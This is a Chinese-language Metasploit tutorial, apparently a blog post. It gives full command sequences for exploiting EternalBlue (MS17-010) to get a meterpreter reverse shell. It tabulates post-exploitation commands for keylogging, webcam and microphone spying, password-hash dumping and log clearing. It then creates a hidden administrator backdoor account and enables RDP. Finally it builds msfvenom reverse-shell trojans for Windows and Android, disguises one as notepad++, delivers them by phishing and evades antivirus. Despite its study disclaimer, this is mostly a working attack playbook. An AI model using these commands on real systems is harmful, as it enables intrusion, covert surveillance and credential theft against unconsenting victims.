本文仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。
首先进行端口扫描
端口扫描的作用就是发现目标主机开放的端口及其对应开放的服务,攻击者通过发现及利用服务所存在的漏洞,入侵目标主机。
- Nmap -扫描器之王
msf是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢岀漏洞和流行的 shellcode,并持续保持更新。
netasploiti让复杂的漏洞攻击流程变的非常简单,一个电脑小白经过几小时的学习,就能对操作系统等主流漏洞发起危害性攻击。
启动 metasploit 前需要做:
msfconsole # 启动 metasploita命令行【命令行效率高,使用方便】
使用模块 -> 配置模块必选项 -> 运行模块。 三步操作,就能实现对主流漏洞的攻击
永恒之蓝是指2017年4月14日晚,黑客团体 ShadowBrokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用 Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了 Wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。
1. 使用模块
use exploit/windows/smb/ms17_010_eternalblue
2. 设置必选项
查看必选项【*required 为yes的就是必选项】
show options
或者
search ms17_010 # 搜索2017年的10号漏洞永恒之蓝(微软定义),search 使用
可以通过模块名称或模块编号使用模块
use exploit/windows/smb/ms17_010_eternalblue # 通过模块名称使用模块
或(选择一种方式即可)
use 0 # 通过模块编号使用模块
show options # 可以按tab键自动补全命令,show 显示/展示 options 选项
必选项是:yes 的就是必选设置,一些是有默认的,一些是没有默认的就需要我们添加,如目标主机状态是yes,但是当前设置时空。
ipconfig # 查看本机IP地址
ifconfig eth0 # kali查看IP
set RHOSTS 192.168.0.103 # 设置目标IP地址,set (设置)RHOSTS 目标主机的名称,代表你要攻击谁,目标主机地址也可以写一个范围如:192.168.0.103-254
show options # show 显示/展示 options 选项,查看还有什么需要设置的
set payload windows/x64/meterpreter/reverse_tcp # payload 是攻击载荷,就是攻击完成后想干啥,这里是想获取 meterpreter (默认就是这个)meterpreter是 metasploit 后渗透的神器
set LHOST 192.168.0.102 # LHOSTS为 listen host (侦听主机)代表你是谁,既kali的IP地址默认就是kali自己的IP地址,如果你的不是那就可以修改
set lport 10001 # 将端口设置为10001,代表你要在kali上开启的端口,1-65535随便选,但不能被占用,默认的端口是:4444,为了攻击的成功率可以改一下
show options # 查看配置
命令:run
我这里攻击失败了,原因:192.168.0.103:445-由于失败而中止利用漏洞:无目标:此模块仅支持x64(64位)目标
开一台64位操作系统的虚拟机,继续实验
继续查看主机IP
重新设置攻击目标
set RHOSTS 192.168.0.106 # 设置目标IP地址
启动运行模块,开启攻击
命令:run
攻击成功命令行就会来到meterpreter>,这里就是拿到了目标主机的权限
命令 |
说明 |
? | “帮助”菜单 |
background | 当前会话的背景 |
bg | 背景别名 |
bgkill | 杀死背景meterpreter脚本 |
bglist | 列出正在运行的后台脚本 |
bgrun | 作为后台线程执行meterpreter脚本 |
channel | 显示信息或控制活动通道 |
close | 关闭频道 |
detach | 分离meterpreter会话(对于http/https) |
disable_unicode_encoding | 禁用unicode字符串的编码 |
enable_unicode_encoding | 启用unicode字符串的编码 |
exit | 终止meterpreter会话 |
get_timeouts | 获取当前会话超时值 |
guid | 获取会话guid |
help | 帮助菜单 |
info | 显示有关Post模块的信息 |
irb | 在当前会话上打开交互式Ruby shell |
load | 加载一个或多个meterpreter扩展 |
machine_id | 获取连接到会话的计算机的MSF id |
migrate | 将服务器迁移到另一个进程 |
pivot | 管理数据透视侦听器 |
pry | 在当前会话上打开Pry调试器 |
quit | 终止meterpreter会话 |
read | 从通道读取数据 |
resource | 运行存储在文件中的命令 |
run | 执行meterpreter脚本或Post模块 |
secure | (重新)协商TLV数据包加密 |
sessions | 快速切换到另一个会话 |
set_timeouts | 设置当前会话超时值 |
sleep | 强制仪表安静,然后重新建立会话,用法:用法:sleep<秒数> |
ssl_verify | 修改ssl证书验证设置 |
transport | 管理运输机制 |
use | “load”的别名已弃用 |
uuid | 获取当前会话的uuid |
write | 将数据写入通道 |
命令 | 说明 |
cat | 将文件的内容读到屏幕上 |
cd | 更改目录 |
checksum | 检索文件的校验和 |
cp | 将源复制到目标 |
del | 删除指定的文件 |
dir | 列表文件(ls的别名) |
download | 下载文件或目录 |
edit | 编辑文件 |
getlwd | 打印本地工作目录 |
getwd | 打印工作目录 |
lcat | 将本地文件的内容读取到屏幕 |
lcd |
更改本地工作目录 |
lls | 列出本地文件 |
lpwd | 打印本地工作目录 |
ls | 列表文件 |
mkdir | 创建新目录 |
mv | 将源文件移动到目标 |
pwd | 打印工作目录 |
rm | 删除指定的文件 |
rmdir | 删除目录 |
search | 搜索文件 |
show_mount | 列出所有装载点/逻辑驱动器 |
upload | 上载文件或目目录(可以用来上传文件到对方电脑) |
命令 | 说明 |
arp | 显示主机arp缓存 |
getproxy | 显示当前代理配置 |
ifconfig | 显示界面 |
ipconfig | 显示IP界面 |
netstat | 显示网络连接与对方开放的端口 |
portfwd | 将本地端口转发到远程服务 |
resolve | 解析目标上的一组主机名 |
route | 查看和修改路由表 |
命令 | 说明 |
clearev | 清除事件日志 |
drop_token | 放弃任何活动模拟令牌。 |
execute | 执行命令 |
getenv | 获取一个或多个环境变量值 |
getpid | 获取当前进程标识符 |
getprivs | 尝试启用当前进程可用的所有权限 |
getsid | 获取服务器正在运行的用户的SID |
getuid | 获取服务器运行的用户 |
kill | 终止进程 |
localtime | 显示目标系统的本地日期和时间 |
pgrep | 按名称筛选进程 |
pkill | 按名称终止进程 |
ps | 列出正在运行的进程 |
reboot | 重新启动远程计算机 |
reg | 修改并与远程注册表交互 |
rev2self | 在远程计算机上调用RevertToSelf() |
shell | 放入系统命令shell |
shutdown | 关闭远程计算机 |
stealt_token | 尝试从目标进程中窃取模拟令牌 |
suspend | 暂停或恢复进程列表 |
sysinfo | 获取有关远程系统的信息,如操作系统 |
命令 | 说明 |
enumdesktops | 列出所有可访问的桌面和窗口工作站 |
getdesktop | 获取当前meterpreter桌面 |
idletime | 返回远程用户空闲的秒数 |
keyboard_send | 发送键击 |
keyevent | 发送按键事件 |
keyscan_dump | 转储击键缓冲区 |
keyscan_start | 开始捕获击键 |
keyscan_stop | 停止捕获击键 |
mouse | 发送鼠标事件 |
screenshare | 共享实时监视远程用户桌面 |
screenshot | 截图,获取交互式桌面的截图 |
setdesktop | 更改meterpreters当前桌面 |
uictl | 控制一些用户界面组件 |
命令 | 说明 |
record_mic | 从默认麦克风录制音频X秒 |
webcam_chat | 开始视频聊天 |
webcam_list | 列出网络摄像头 |
webcam_snap | 从指定的网络摄像机拍摄快照 |
webcam_stream | 从指定的网络摄像机播放视频流(打开摄像头) |
命令 | 说明 |
play | 在目标系统上播放波形音频文件(.wav) |
命令 | 说明 |
getsystem | 尝试将您的权限提升到本地系统的权限 |
命令 | 说明 |
hashdump | 转储SAM数据库的内容 |
命令 | 说明 |
timestomp | 操纵文件MACE属性 |
攻击成功后成功获取到对方主机的权限,上面的这操作命令直接输入到命令行使用就行了
注意:上面表格中的命令我也没有仔细检查过,如果使用时出现报错那应该是我填错了,这时可以输入命令:
help # 查看帮助,按类型获取到正确的命令,也可以在下方给我留言我会及时更改。
攻击成功后能做什么meterpreter是强大的后渗透模块,可以输入help查看帮助信息
远程控制、命令执行、摄像头监控、密码获取、创建后门用户、破坏篡改系统...这些看起来非常复杂又高级的操作都能用 meterpreter中一行或几个字母,简单的命令完成
shell # 启动dos窗口,这样就能使用DOS 命令
chcp 65001 # 默认情况下编码为936,中文会出现乱码问题,65001为UTF-8的代码页,可以正常显示中文
net user zhangsan 123456 /add & net localgroup administrators zhangsan /add
或分开执行
net user zhangsan 123456 /add # 创建一个用户名为“zhangsan ”密码是“123456 ”
net localgroup administrators zhangsan /add # 将zhangsan 加入到管理员组(提升权限)
exit # 退到上一级目录(这里是退出dos窗口回到,meterpreter > )
getsystem # 先将当前的session提升为system权限(以防万一)
run post/windows/manage/enable_rdp # 利用此后渗透模块即可直接开启远程桌面,开启受害者主机3389端口(远程桌面连接端口)
这样一套命令下来,以后我们就可以直接使用 zhangsan 这个账号登录3389端口的远程桌面服务,远程控制目标主机(mstsc -v 目标ip)
rdesktop 192.168.0.103:3389 # 连接受害者主机的远程桌面,如下图所示:
需要注意的是你登录了,对方会被你挤下线
想远程控制别人?msfvenom 生成远控木马了解一下
msfvenom 是用来生成后门的软件,在目标机上执行后门,在本地监听上线。
【* msfvenom在shell里使用,不是 msfconsole 终端】
payload 攻击载荷
windows 是指微软的windows操作系统,如果目标是其他系统这里就改成其他系统名称如:Linux
lhost 代表你是谁,既kali的IP地址
lport 代表你要在kali上开启的端口,1-65535随便选,但不能被占用
-f 是指format(格式)
exe 是windows格式文件,是指生成木马文件的文件格式,exe 和 dll(Windows 系列)、elf(Linux 系列)和 Mach-O(Mac系列)
-o 是指output(输出),后面跟的demo.exe是文件名,自定义随便改。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.102 lport=9988 -f exe -o demo.exe
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.43.89 LPORT=9988 R > /home/kali/Desktop/lanxf.apk
输入:exit # 退回上一级,直到回到kali的命令行中
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.102 lport=9988 -f exe -o demo999.exe # 生成木马文件
现在文件就生成到桌面的我们可以在桌面查看文件
这个文件可以通过邮箱或其他社交平台发送给对方,然后对方运行了之后我们就可以对他电脑进行远程控制(不过一般情况下会被对方的杀毒软件直接杀死)如下面这样,我们直接把木马文件复制到自己的真实机,杀毒软件会自动检测并杀死。
注意:这里是在命令行的桌面路径下输入命令所以文件默认是生成在桌面,如果想改生成文件的位置,那就把命令后面的文件名改成路径加文件名,如:/home/kali/demo999.exe 。或者使用命令:cd 路径 # 更改命令行的路径
(注意这一步需要使用上面写的方法通过metasploit获取到目标的权限才行,如果对方电脑没有漏洞获取不到对方权限,那就需要用钓鱼的方式让受害者自己下载,比如我们在百度上下载的软件都有很多捆绑软件)
pwd # 打印目标的工作目录
upload /home/kali/桌面/demo999.exe # 把木马文件发送到目标的电脑上
upload /home/kali/桌面/demo999.exe d:\\ # 也可以指定文件路径,发送到对方的D盘根目录下
现在有了木马文件,我们要让别人下载,俗称:“钓鱼”
msfconsole # 启动 metasploita命令行
use exploit/multi/handler # 使用模块
show options # 查看设置,查看这个模块需要配置那些选项才能使用
set payload windows/x64/meterpreter/reverse_tcp # 这个攻击载荷就是上面我们使用的攻击载荷
show options # 查看设置
set LHOST 192.168.0.102 # LHOSTS为 listen host (侦听主机)代表你是谁,既kali的IP地址
show options # 查看设置
set lport 9988 # 就是要在kali上要开启的端口,注意这里的端口要和前面生成木马文件的端口一样,我上面是用9988端口这里也要9988端口,默认的端口是4444
现在我们要做的就是等待鱼儿上钩:
假设目标通过网上下载了其他软件比如啥直播、游戏之类的,然后我的木马文件也和这些软件绑定了,他也运行了,之后我们就可以对他进行些操作。
execute -H -i -f demo999.exe # 运行demo999.exe这个刚才我们发到目标过去的木马文件, -H 不可见,-i 交互
然后输入: help # 查看通过这个木马文件我们能干啥,可以使用的功能和我上面列出来的命令一样
webcam_list | 列出网络摄像头(查看对方的电脑有没有摄像头) |
webcam_stream | 从指定的网络摄像机播放视频流(打开摄像头) |
我这里的目标是虚拟机所以这块,响应的信息是没有
ctrl + c 退出监控
最基础的免杀【*对于其他杀毒软件效果不同,具体情况请自行尝试】
捆绑木马(现在基本没效果,杀毒软件的技术更新了)
msfvenom -p windows/64/meterpreter/reverse tcp lhost=192.168.0.102 lport=9999 -f exe-xnotepad++. exe -o notepad++.exe
加壳:压缩壳、加密壳
如:Themida
使用示例:
打开软件
然后耐心等待加密过程,最后加密成功的界面如下,之后就可以关闭软件了。
然后可以复制到真实机上测试
后门木马请勿随意传播,如果造成危害属于提供计算机操作系统入侵工具罪及非法入侵计算机操作系统数罪并罚。